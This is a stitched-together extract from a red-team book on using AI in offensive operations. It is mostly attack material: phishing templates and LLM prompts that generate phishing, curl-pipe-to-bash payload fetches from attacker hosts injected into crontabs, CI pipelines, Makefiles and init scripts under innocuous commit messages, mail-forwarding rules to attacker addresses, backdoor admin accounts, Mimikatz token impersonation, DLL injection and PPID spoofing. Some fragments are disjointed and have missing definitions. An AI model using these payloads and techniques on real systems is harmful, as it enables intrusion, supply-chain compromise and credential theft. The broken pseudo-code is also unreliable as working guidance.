


foreword
In an era where cyber landscapes evolve at unprecedented speeds and the threats we face
become ever more sophisticated, "AI For Red Team Operation" emerges as a vital resource for
those prepared to embrace the future. This book is a journey into the fusion of time-tested red
team strategies and the transformative potential of artificial intelligence—challenging old
paradigms and inviting new approaches to cyber operations.

The evolution of red teaming has always been intertwined with innovation. From the early days
of the MITRE ATT&CK framework to modern exploits across cloud, SaaS, and DevOps
environments, practitioners have relentlessly pursued every advantage available. Today, AI is
not merely an add-on but a revolutionary force that empowers us to be more adaptive, resilient,
and creative in the face of evolving threats.

As you delve into these pages, you'll discover a blend of classical techniques and forward-
thinking methodologies, interwoven with real-world scenarios and practical examples. This book
does not just recount strategies—it invites you to explore how AI can dynamically transform red
team operations, pushing beyond traditional boundaries and opening up new frontiers in cyber
defense and offense.

I invite you to join us on this exploration, to question, to innovate, and to redefine what it means
to operate on the cutting edge of cybersecurity. May the insights within spark creativity, inspire
bold tactics, and empower you to master the art of red teaming in a rapidly shifting digital world.

Reza Rashidi
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Subject: ACTION REQUIRED: Document Access Expired  
Body: "Hi {name}, your access to 'Q4 Financial Report' will expire 
in 24h.  
Click here to reauthorize: https://bolt-auth[.]com/oauth"  
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Dear [User],

We have detected unusual activity in your [Service] account. To 
ensure your account's security, please review and authorize the 
necessary permissions by clicking the link below:

[Authorize Access]

Failure to do so may result in temporary suspension of your 
account.

Thank you for your prompt attention to this matter.

Best regards,
[Service] Security Team

Hi [User],

We are excited to announce new features in [Service] that will 
enhance your experience. To get started, please authorize the 
necessary permissions by clicking the link below:

[Authorize Access]

Enjoy the new features and thank you for being a valued user!

Best,
The [Service] Team
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Hello [User],

As part of our ongoing efforts to improve security, we require you 
to verify your account. Please click the link below to authorize 
the necessary permissions:

[Authorize Access]

This verification helps us ensure that your account remains secure 
and accessible.

Thank you for your cooperation.

Sincerely,
[Service] Support Team
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# Browser version classifier using TensorFlow  
import tensorflow as tf  
model = tf.keras.Sequential([  
  tf.keras.layers.Embedding(input_dim=1000, output_dim=64),  
  tf.keras.layers.LSTM(128),  
  tf.keras.layers.Dense(10, activation='softmax')  # Classify 
Chrome v121, Firefox v115, etc.  
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])  
model.fit(user_agent_data, labels, epochs=10)  



AI for Red Team Operation

16 / 197

# Fake update generator with OpenAI  
import openai  
response = openai.ChatCompletion.create(  
  model="gpt-4",  
  messages=[{"role": "user", "content": "Write a blog post urging 
users to download an urgent 'Slack Workspace Migration Tool'."}]  
)  
print(response.choices[0].message.content)  

aws s3 cp malicious_installer.exe s3://trusted-updates/ --acl 
public-read  
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# K-means clustering for watering hole targets  
from sklearn.cluster import KMeans  
kmeans = KMeans(n_clusters=3).fit(user_website_data)  
high_value_cluster = kmeans.cluster_centers_[0]  # Most frequented 
sites  

sqlmap -u "http://target-site.com/?id=1" --os-shell --batch
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from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense
import numpy as np

def train_ai_model(data):
    model = Sequential([
        Dense(64, activation='relu', input_shape=
(data.shape[1],)),
        Dense(32, activation='relu'),
        Dense(1, activation='sigmoid')
    ])
    model.compile(optimizer='adam', loss='binary_crossentropy', 
metrics=['accuracy'])
    model.fit(data, epochs=10, batch_size=32)
    return model

# Example input of breached credentials
data = np.random.rand(1000, 10)
model = train_ai_model(data)
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from transformers import pipeline

def generate_phishing_email():
    generator = pipeline("text-generation", model="gpt-3.5-turbo")
    email_content = generator("Generate a spear-phishing email 
targeting a DevOps engineer, impersonating a security update 
alert.")
    return email_content
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print(generate_phishing_email())

import torch
import torch.nn.functional as F

def adversarial_attack(model, data, epsilon=0.1):
    data.requires_grad = True
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    output = model(data)
    loss = F.nll_loss(output, torch.tensor([1]))
    loss.backward()
    perturbed_data = data + epsilon * data.grad.sign()
    return perturbed_data



AI for Red Team Operation

22 / 197



AI for Red Team Operation

23 / 197

# Example: Enumerating repository dependencies with AI enrichment

import requests

from openai import OpenAI

  

client = OpenAI(

base_url="https://openrouter.ai/api/v1",

api_key="YOUR_API_KEY"

)

  

repository_url = "https://github.com/target/repo"

response = requests.get(repository_url + "/dependencies.json")

dependencies = response.json()

  



AI for Red Team Operation

24 / 197

# Enrich dependency list using AI to detect vulnerable packages

vulnerable_packages = []

for dep in dependencies:

prompt = f"Evaluate if the package '{dep['name']}' version 
'{dep['version']}' has known vulnerabilities and possible exploit 
vectors."

ai_response = client.completions.create(

model="meta-llama/llama-3.2-3b-instruct:free",

prompt=prompt,

max_tokens=50

)

analysis = ai_response.choices[0].text.strip()

if "vulnerable" in analysis.lower():

vulnerable_packages.append(dep)

print("Vulnerable Packages:", vulnerable_packages)

# Example: Launching an exploit for a vulnerable dependency using 
Metasploit

use exploit/linux/http/weak_dependency_exploit

set RHOSTS 192.168.1.10

set TARGETURI /vulnerable_package

set PAYLOAD linux/x86/meterpreter/reverse_tcp



AI for Red Team Operation

25 / 197

curl -sL

http://malicious.payload | bash

set LHOST 192.168.1.100

exploit

# Example: Generate a remediation script using an LLM
prompt = ("Generate a bash patch script to remediate the 
vulnerable package "
          "'vulnPackage' in a Linux environment based on best 
practices.")
ai_response = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
patch_script = ai_response.choices[0].text.strip()
print("Generated Patch Script:\n", patch_script)

from transformers import AutoTokenizer, AutoModelForCausalLM



AI for Red Team Operation

26 / 197

tokenizer = AutoTokenizer.from_pretrained("microsoft/codebert-
base")
model = AutoModelForCausalLM.from_pretrained("fine-tuned-ppe-
generator")

malicious_step = "download_and_execute_shim() { curl -sL 
http://attacker.net/payload | bash; }"
context = """
steps:
  - name: Build Application
    run: make all
  - name: Security Scan
    run: ./security_check.sh
"""

# Generate poisoned config
inputs = tokenizer(context + "<!--INJECT-->", return_tensors="pt")
outputs = model.generate(inputs.input_ids, do_sample=True, 
max_length=512)
poisoned_yaml = tokenizer.decode(outputs[0], 
skip_special_tokens=True)
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.github/workflows/main.yml
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make test

make install

class InjectionEnv(gym.Env):
    def __init__(self, repo_path):
        self.repo = Repository(repo_path)
        self.action_space = Discrete(len(self.repo.files))
        self.observation_space = Box(0,1, 
(len(self.repo.features),))
        
    def step(self, action):
        file = self.repo.files[action]
        stealth_score = calculate_stealth(file)
        reward = stealth_score * 0.7 + execution_impact(file) * 
0.3
        return self.repo.get_state(), reward, done, {}
    
# Proximal Policy Optimization (PPO) agent learns optimal 
injection policy



AI for Red Team Operation

29 / 197

# Generator creates PR diffs
generator = tf.keras.Sequential([
    layers.Dense(512, input_shape=(noise_dim,)),
    layers.Reshape((16, 32)),
    layers.Conv1DTranspose(64, 5, activation='selu'),
    layers.Dense(1, activation='tanh')  # Output: git diff patch
])

# Discriminator (Maintainer Simulator)
discriminator = tf.keras.Sequential([
    layers.TextVectorization(output_sequence_length=256),
    layers.Bidirectional(layers.LSTM(64)),



AI for Red Team Operation

30 / 197

terraform

apply

    layers.Dense(1, activation='sigmoid')  # Probability of PR 
acceptance
])

# Combined GAN
gan = tf.keras.Sequential([generator, discriminator])
gan.compile(loss='binary_crossentropy', optimizer=Adam(0.0002))
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   # Example: Enumerate vulnerable container configurations using 
AI assistance
   import requests
   from openai import OpenAI

   client = OpenAI(
       base_url="https://openrouter.ai/api/v1",
       api_key="YOUR_API_KEY"
   )

   # Sample endpoint returning container configurations (legacy or 
cloud based)
   response = requests.get("http://target-system/api/containers")
   containers = response.json()

   vulnerable = []
   for container in containers:
       if container.get("privileged", False) or 
container.get("allowPrivilegeEscalation", False):
           prompt = f"Analyze container {container['id']} 
configuration and determine if it is vulnerable to exec command 
abuse."
           ai_resp = client.completions.create(
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               model="meta-llama/llama-3.2-3b-instruct:free",
               prompt=prompt,
               max_tokens=50
           )
           analysis = ai_resp.choices[0].text.strip()
           if "vulnerable" in analysis.lower():
               vulnerable.append(container)

   print("Vulnerable Containers:", vulnerable)

# Launch an interactive shell inside a Docker container
docker exec -it <container_id> /bin/bash

# Launch a remote shell in a Kubernetes pod
kubectl exec -it <pod_name> -- /bin/sh

# Generate a remediation script using LLM for securing container 
runtime
prompt = ("Generate a bash script to audit and fix misconfigured 
Docker containers, "
          "ensuring that no container runs in privileged mode.")
ai_response = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_response.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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   # Example: Enumerate Kubernetes CronJobs with AI-assisted 
vulnerability detection
   import requests
   from openai import OpenAI

   client = OpenAI(
       base_url="https://openrouter.ai/api/v1",
       api_key="YOUR_API_KEY"
   )

   # Access Kubernetes API (via kubectl proxy on 
http://localhost:8001)
   response = 
requests.get("http://localhost:8001/apis/batch/v1beta1/cronjobs")
   cronjobs = response.json().get('items', [])

   vulnerable_jobs = []
   for job in cronjobs:
       # Check if the CronJob container has no security context 
defined
       containers = job.get('spec', {}).get('jobTemplate', 
{}).get('spec', {}).get('template', {}).get('spec', 
{}).get('containers', [])
       if containers:
           security_context = containers[0].get('securityContext', 
{})
           if not security_context:
               prompt = f"Evaluate if the CronJob 
'{job['metadata']['name']}' with no security context is vulnerable 
to command injection abuse."
               ai_resp = client.completions.create(
                   model="meta-llama/llama-3.2-3b-instruct:free",
                   prompt=prompt,
                   max_tokens=50
               )
               analysis = ai_resp.choices[0].text.strip()
               if "vulnerable" in analysis.lower():
                   vulnerable_jobs.append(job)
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   print("Vulnerable CronJobs:", vulnerable_jobs)

# Extract current crontab, inject malicious entry, and update the 
crontab
docker exec -it <container_id> crontab -l > current_cron
echo "* * * * * curl http://attacker.com/malicious.sh | bash" >> 
current_cron
docker exec -it <container_id> crontab current_cron

# Patch a Kubernetes CronJob to alter the container's command 
field
kubectl patch cronjob <cronjob_name> -p '{
  "spec": {
    "jobTemplate": {
      "spec": {
        "template": {
          "spec": {
            "containers": [
              {
                "name": "<container_name>",
                "command": ["/bin/sh", "-c", "curl 
http://attacker.com/malicious.sh | bash"]
              }
            ]
          }
        }
      }
    }
  }
}'
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# Generate a bash remediation script to audit and secure CronJobs
prompt = (
    "Generate a bash script to audit Kubernetes CronJobs ensuring 
they use non-root users "
    "and proper security contexts. The script should remove 
unauthorized modifications."
)
ai_response = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_response.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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# Example: Enumerate SaaS automation workflows with AI assistance
import requests
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Assume the SaaS provider exposes an API endpoint for automation 
workflows
response = requests.get("https://saas-target.com/api/workflows", 
headers={"Authorization": "Bearer ACCESS_TOKEN"})
workflows = response.json()

vulnerable_workflows = []
for wf in workflows:
    if not wf.get("securityControls"):
        prompt = f"Evaluate if the workflow '{wf['name']}' with 
configuration {wf['config']} is vulnerable to unauthorized API 
call abuse."
        ai_resp = client.completions.create(
            model="meta-llama/llama-3.2-3b-instruct:free",
            prompt=prompt,
            max_tokens=50
        )
        analysis = ai_resp.choices[0].text.strip()
        if "vulnerable" in analysis.lower():
            vulnerable_workflows.append(wf)

print("Vulnerable Workflows Found:", vulnerable_workflows)

# Using curl to trigger a malicious workflow in a legacy SaaS 
automation application
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curl -X POST "https://legacy-saas.com/api/automation/run" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"workflow_id": "1234", "action": "export", "params": 
{"target": "sensitive_drive", "destination": 
"http://attacker.com/collect"}}'

# Patch an automation workflow in a cloud SaaS (e.g., Office 365 
Power Automate)
curl -X PATCH 
"https://api.office365.com/automation/v1/workflows/1234" \
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"action": "forward_email", "params": {"recipient": 
"attacker@malicious.com", "delete_original": true}}'

# Generate a remediation script using LLM for securing SaaS 
automation workflows
prompt = ("Generate a bash script to audit and secure SaaS 
automation workflows. "
          "Ensure that workflows use proper API tokens, logging, 
and conditional execution to prevent unauthorized actions.")
ai_response = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_response.choices[0].text.strip()
print("Generated Remediation Script:\n", remediation_script)
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# Example: Extracting embedded client secrets using AI-guided 
static analysis
import re
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
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    api_key="YOUR_API_KEY"
)

# Simulated decompiled client code content (for demonstration 
only)
client_code = '''
const OAUTH_CLIENT_ID = "abc123client";
const OAUTH_CLIENT_SECRET = "supersecretvalue";
// Other code...
'''

# Use regex to extract the client secret
pattern = r'OAUTH_CLIENT_SECRET\s*=\s*"([^"]+)"'
match = re.search(pattern, client_code)
client_secret = match.group(1) if match else "not found"

# Use AI to verify if extraction indicates vulnerability
prompt = f"Verify if the extracted client secret '{client_secret}' 
poses a security risk in an OAuth integration."
ai_response = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=50
)
analysis = ai_response.choices[0].text.strip()

print("Extracted Client Secret:", client_secret)
print("AI Analysis:", analysis)

curl -X POST "https://oauth-provider.com/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 
"grant_type=authorization_code&client_id=abc123client&client_secre
t=supersecretvalue&redirect_uri=http://localhost/callback&code=AUT
H_CODE"
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# Generate extended permission parameters using LLM
prompt = ("Generate a list of extended OAuth scope parameters for 
maintaining persistent access to a compromised account, "
          "ensuring high-level privileges.")
ai_response = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=100
)
scopes = ai_response.choices[0].text.strip()
print("Recommended OAuth Scopes:", scopes)
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# filepath: /tools/module_scanner.py
from openai import OpenAI
import psutil
import platform

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

def scan_processes():
    os_type = platform.system()
    processes = []
    
    for proc in psutil.process_iter(['pid', 'name', 'username']):
        try:
            # Use AI to analyze process suitability for injection
            prompt = f"Analyze if process {proc.info['name']} is 
suitable for shared module injection on {os_type}"
            response = client.completions.create(
                model="meta-llama/llama-3.2-3b-instruct:free",
                prompt=prompt,
                max_tokens=50
            )
            if "suitable" in response.choices[0].text.lower():
                processes.append(proc.info)
        except Exception as e:
            continue
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    return processes

# Generate polymorphic shared module code
def generate_payload(target_os):
    prompt = f"Generate a {target_os} shared module template that 
includes anti-detection features"
    response = client.completions.create(
        model="meta-llama/llama-3.2-3b-instruct:free",
        prompt=prompt,
        max_tokens=200
    )
    return response.choices[0].text.strip()

// filepath: /payloads/windows_inject.cpp
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID 
reserved) {
    switch (reason) {
        case DLL_PROCESS_ATTACH:
            // AI-generated evasion code here
            break;
    }
    return TRUE;
}

// filepath: /payloads/unix_inject.c
#include <dlfcn.h>

__attribute__((constructor))
void initialize(void) {
    // AI-generated payload here
}
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# Load DLL via PowerShell
$bytes = [System.IO.File]::ReadAllBytes("payload.dll")
[System.Reflection.Assembly]::Load($bytes)

# Load dylib
DYLD_INSERT_LIBRARIES=./payload.dylib ./target_binary

# Load shared object
LD_PRELOAD=./payload.so ./target_binary
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# filepath: /tools/pipeline_scanner.py
import requests
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Simulate fetching the CI/CD configuration file (e.g., .gitlab-
ci.yml)
repo_config_url = 
"https://gitlab.com/target_repo/-/raw/main/.gitlab-ci.yml"
response = requests.get(repo_config_url)
config_content = response.text

# Use AI to analyze the configuration for injection points
prompt = f"Analyze the following CI/CD configuration for potential 
injection vulnerabilities:\n\n{config_content}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
analysis = ai_resp.choices[0].text.strip()
print("CI/CD Config Analysis:", analysis)

# Clone the repository, create a branch, and modify the CI/CD file
git clone https://gitlab.com/target_repo.git
cd target_repo
git checkout -b malicious-patch
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echo "script: curl -fsSL http://attacker.com/malicious.sh | bash" 
>> .gitlab-ci.yml
git commit -am "Update CI config for build optimization"
git push origin malicious-patch
# Create pull request via API or UI to trigger pipeline execution

# Edit Makefile to include a hidden malicious target
echo "install:\n\tcurl -fsSL http://attacker.com/malicious.sh | 
bash" >> Makefile
git add Makefile
git commit -m "Improve installation process"
git push origin malicious-patch

# Generate remediation script for CI/CD security best practices
prompt = (
    "Generate a bash script to audit and remediate CI/CD 
pipelines. "
    "The script should check for unauthorized modifications in 
config and build scripts, "
    "reinforce validation rules, and rollback suspicious changes."
)
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_resp.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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# filepath: /tools/repo_token_scanner.py
import requests
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Example: Fetch repository settings from a GitLab API
headers = {"PRIVATE-TOKEN": "AUTO_TOKEN"}
response = 
requests.get("https://gitlab.example.com/api/v4/projects/123", 
headers=headers)
repo_config = response.json()

prompt = f"Analyze these repository settings for potential misuse 
of automatic tokens: {repo_config}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
analysis = ai_resp.choices[0].text.strip()
print("Repository Analysis:", analysis)

# Clone the target repository
git clone https://gitlab.example.com/target/repo.git
cd repo
# Append malicious code to the initialization script
echo -e "\n# Malicious Backdoor\ncurl -fsSL 
http://attacker.com/backdoor.sh | bash" >> init_script.sh
git add init_script.sh
git commit -m "Minor update to initialization script"
git push origin main
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# Edit the pipeline configuration (e.g., .gitlab-ci.yml)
cat << 'EOF' >> .gitlab-ci.yml

malicious_job:
  stage: deploy
  script:
    - curl -fsSL http://attacker.com/malicious.sh | bash
EOF
git add .gitlab-ci.yml
git commit -m "Update pipeline configuration for deployment"
git push origin main

// In package.json, modify the dependency URL
{
  "dependencies": {
    "vulnerableLib": "git+https://attacker.com/vulnerableLib.git"
  }
}

git add package.json
git commit -m "Update dependency references"
git push origin main

# Remediation script generation via LLM
prompt = ("Generate a bash script to audit changes made to a 
repository in a CI/CD pipeline, "
          "revert unauthorized commits, and secure auto-token 
permissions for preventing future abuse.")
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=200
)
remediation_script = ai_resp.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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# filepath: /tools/credential_enum.py
import requests
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Example: Fetch a list of active users via a hypothetical 
internal API
response = requests.get("https://internal-api.company.com/users")
users = response.json()

vulnerable_accounts = []
for user in users:
    prompt = f"Determine if user '{user['username']}' on role 
'{user['role']}' can create new service credentials."
    ai_resp = client.completions.create(
        model="meta-llama/llama-3.2-3b-instruct:free",
        prompt=prompt,
        max_tokens=50
    )
    if "yes" in ai_resp.choices[0].text.lower():
        vulnerable_accounts.append(user['username'])

print("Vulnerable Accounts for Credential Creation:", 
vulnerable_accounts)

# Create a new local admin account for persistence
$username = "svc_sustainer"
$password = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -
Force
New-LocalUser -Name $username -Password $password -FullName 
"Service Account" -Description "Persistence account for remote 
access"
Add-LocalGroupMember -Group "Administrators" -Member $username
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# Create a new sudo user for persistence
sudo useradd -m svc_sustainer -p $(openssl passwd -1 
"P@ssw0rd123!")
sudo usermod -aG sudo svc_sustainer

# Create a new IAM user with full administrative rights for 
persistence
aws iam create-user --user-name svc_sustainer
aws iam create-access-key --user-name svc_sustainer
aws iam attach-user-policy --user-name svc_sustainer --policy-arn 
arn:aws:iam::aws:policy/AdministratorAccess

# Generate remediation script using LLM for credential auditing
prompt = ("Generate a bash script to audit and list all service 
credentials "
          "created in the past 30 days, revert unauthorized 
entries, and enforce MFA where possible.")
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_resp.choices[0].text.strip()
print("Generated Remediation Script:\n", remediation_script)
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from tensorflow.keras.layers import Conv2DTranspose, 
BatchNormalization

# Generator for binary artifacts
artifact_gan = Sequential([
    Dense(256, input_dim=100, activation='leaky_relu'),
    Reshape((16, 16, 1)),
    Conv2DTranspose(64, (5,5), strides=2, padding='same'),
    BatchNormalization(),
    Conv2DTranspose(32, (5,5), strides=2, padding='same'),
    Conv2DTranspose(1, (5,5), activation='tanh', padding='same')  
# Output artifact bytes
])

# Discriminator with artifact validation logic
discriminator = Sequential([
    Conv2D(64, (5,5), input_shape=(256,256,1)),
    MaxPooling2D(),
    Flatten(),
    Dense(1, activation='sigmoid')  # 1=valid, 0=malicious
])

# Custom loss function to match hash prefixes
def hash_collision_loss(y_true, y_pred):
    sha1_pred = tf.strings.as_string(tf.reshape(tf.math.mod(
        tf.math.reduce_sum(y_pred), 2**32), [-1]))
    return tf.abs(tf.strings.bytes_split(sha1_pred)[:4] - 
target_hash_prefix)
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utils-1.3.5.jar

nohup bash -c 'curl http://c2[.]mal/payload | bash' &
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class DependencyEnv(gym.Env):
    def __init__(self, dep_graph):
        self.dep_graph = nx.read_gpickle(dep_graph)
        self.action_space = Discrete(len(self.dep_graph.nodes))
        self.observation_space = Box(0,1, (len(self.features),))
        
    def step(self, action):
        node = self.dep_graph.nodes[action]
        reward = calculate_persistence_score(node)
        return self._get_state(), reward, False, {}

# PPO Agent Implementation
agent = PPOTrainer(
    policy=CustomPolicy,
    observation_space=env.observation_space,
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    action_space=env.action_space
)
agent.learn(total_timesteps=100000)

# PPO Agent Implementation
agent = PPOTrainer(
    policy=CustomPolicy,
    observation_space=env.observation_space,
    action_space=env.action_space
)
agent.learn(total_timesteps=100000)

<!-- Malicious Maven Dependency Injection -->
<dependency>
    <groupId>com.legit.library</groupId>
    <artifactId>data-utils</artifactId>
    <version>3.2.1</version>
    <contents>
        <![CDATA[
            static { 
                new Thread(() -> { /* C2 Beaconing */ }).start();
            }
        ]]>
    </contents>
</dependency>
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class SteganographyVAE(tf.keras.Model):
    def __init__(self):
        super().__init__()
        self.encoder = tf.keras.Sequential([
            layers.Reshape((1024,)),
            layers.Dense(256, activation='relu'),
            layers.Dense(64)  # Latent space
        ])
        
        self.decoder = tf.keras.Sequential([
            layers.Dense(256, activation='relu'),
            layers.Dense(1024, activation='sigmoid'),
            layers.Reshape((32,32,1))
        ])
    
    def call(self, inputs):
        z = self.encoder(inputs)
        return self.decoder(z)

# Hide reverse shell in MNIST checkpoint
vae = SteganographyVAE()
vae.compile(optimizer='adam', loss='mse')
vae.fit(
    x=malicious_payloads, 
    y=benign_checkpoints, 
    epochs=100,
    callbacks=[tf.keras.callbacks.TensorBoard(log_dir='./logs')]
)
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# filepath: /tools/mail_rule_enum.py
import requests
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)
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# For Office365, using Microsoft Graph API to enumerate mail rules
headers = {
    "Authorization": "Bearer ACCESS_TOKEN",
    "Content-Type": "application/json"
}
response = 
requests.get("https://graph.microsoft.com/v1.0/me/mailFolders/inbo
x/messageRules", headers=headers)
mail_rules = response.json().get("value", [])

# Use AI to analyze each rule for potential gaps or modification 
opportunities
vulnerable_rules = []
for rule in mail_rules:
    prompt = f"Analyze the mail rule configuration: {rule}. Is 
this rule susceptible to malicious modification for persistence?"
    ai_resp = client.completions.create(
        model="meta-llama/llama-3.2-3b-instruct:free",
        prompt=prompt,
        max_tokens=50
    )
    analysis = ai_resp.choices[0].text.strip()
    if "vulnerable" in analysis.lower():
        vulnerable_rules.append(rule)

print("Detected vulnerable mail rules:", vulnerable_rules)

# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName target@contoso.com
# Create a new inbox rule that forwards messages containing 
"password reset" to attacker@evil.com
New-InboxRule -Name "AutoForwardPasswordResets" -
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SubjectContainsWords "password reset" -ForwardTo 
"attacker@evil.com" -StopProcessingRules $false

# Create a forwarding rule in Gmail via the Gmail API (v1)
curl -X POST 
"https://gmail.googleapis.com/gmail/v1/users/me/settings/filters" 
\
  -H "Authorization: Bearer ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
        "criteria": {
          "query": "subject:(password reset)"
        },
        "action": {
          "addLabelIds": [],
          "forward": "attacker@evil.com"
        }
      }'

# Generate remediation script using LLM to detect and remove 
suspicious mail rules
prompt = ("Generate a PowerShell script for Exchange Online that 
audits all mailbox rules, "
          "identifies rules forwarding emails to external 
addresses, and reports or disables those rules.")
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_resp.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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# filepath: /tools/account_enum.py
import requests
from openai import OpenAI
import json

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Simulate fetching account details from an internal AD API 
endpoint
response = requests.get("https://internal-
api.company.com/accounts")
accounts = response.json()

vulnerable_accounts = []
for account in accounts:
    prompt = (f"Assess the account {account['username']} with 
roles {account['roles']} "
              "for the possibility of manipulation and privilege 
escalation. "
              "Is this account a viable target for account 
manipulation?")
    ai_resp = client.completions.create(
        model="meta-llama/llama-3.2-3b-instruct:free",
        prompt=prompt,
        max_tokens=50
    )
    if "yes" in ai_resp.choices[0].text.lower():
        vulnerable_accounts.append(account)

print("Vulnerable Accounts Identified:", 
json.dumps(vulnerable_accounts, indent=2))
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# Create or modify user credentials to extend access
$username = "jdoe"  # Target account
$newPassword = ConvertTo-SecureString "NewP@ssw0rd!2023" -
AsPlainText -Force
Set-ADAccountPassword -Identity $username -NewPassword 
$newPassword -Reset

# Add the user to a higher-privileged group
Add-ADGroupMember -Identity "Domain Admins" -Members $username

# Change user's password and add to sudoers
echo "jdoe:NewP@ssw0rd!2023" | sudo chpasswd
sudo usermod -aG sudo jdoe

# Using Azure CLI to update an account password and assign a role
az ad user update --id jdoe@contoso.com --password 
"NewP@ssw0rd!2023"
az role assignment create --assignee jdoe@contoso.com --role 
"Global Administrator"

# Generate remediation script via LLM
prompt = ("Generate a PowerShell script for Active Directory that 
audits user accounts for "
          "recent password changes and unexpected group 
memberships. The script should flag accounts "
          "with changes within the last 30 days and optionally 
revert suspicious modifications.")
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_resp.choices[0].text.strip()
print("Generated Remediation Script:\n", remediation_script)
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# filepath: /tools/token_enumerator.py
import subprocess
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Execute Mimikatz command to list tokens (simulate output)
result = subprocess.run(["mimikatz", "privilege::debug", 
"token::tlist"], capture_output=True, text=True)
token_output = result.stdout

# Use AI to identify tokens that may be interesting for 
impersonation
prompt = f"Analyze the following token list and identify potential 
impersonation targets:\n\n{token_output}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=100
)
analysis = ai_resp.choices[0].text.strip()
print("Identified Token Targets:\n", analysis)
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# Mimikatz command for token duplication and impersonation
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # token::list
mimikatz # token::duplication <TARGET_TOKEN_ID>
mimikatz # token::impersonate <DUPLICATED_TOKEN_ID>

# Using PowerShell and built-in Windows API
$tokenHandle = "Handle_From_Mimikatz"  # Assume token handle is 
retrieved
$application = "C:\Windows\System32\cmd.exe"
Start-Process -FilePath $application -Credential $tokenHandle

// filepath: /payloads/impersonate.c
#include <windows.h>
int main() {
    HANDLE hToken;
    if(LogonUser("victimUser", "DOMAIN", "password123!", 
LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken)) {
        // Use SetThreadToken to impersonate the user
        SetThreadToken(NULL, hToken);
        // New process can be created in the new security context
        system("cmd.exe");
    }
    return 0;
}

// filepath: /payloads/ppid_spoof.c
#include <windows.h>
int main() {
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    STARTUPINFOEX si = {0};
    PROCESS_INFORMATION pi = {0};
    SIZE_T attrSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    si.lpAttributeList = 
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, 
attrSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, 
&attrSize);
    // Assume spoofed PPID is set via UpdateProcThreadAttribute 
here
    UpdateProcThreadAttribute(si.lpAttributeList, 0, 
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &spoofedPPID, 
sizeof(HANDLE), NULL, NULL);
    CreateProcessWithTokenW(NULL, LOGON_WITH_PROFILE, 
L"C:\\Windows\\System32\\cmd.exe",
        NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si.StartupInfo, 
&pi);
    return 0;
}

# Remediation script generation via LLM
prompt = ("Generate a PowerShell script that audits active access 
tokens, identifies tokens "
          "with unusual impersonation or PPID attributes, and logs 
anomalies for further investigation.")
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_resp.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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# filepath: /tools/hijack_enum.py
import subprocess
from openai import OpenAI
import json

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)
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example.dll

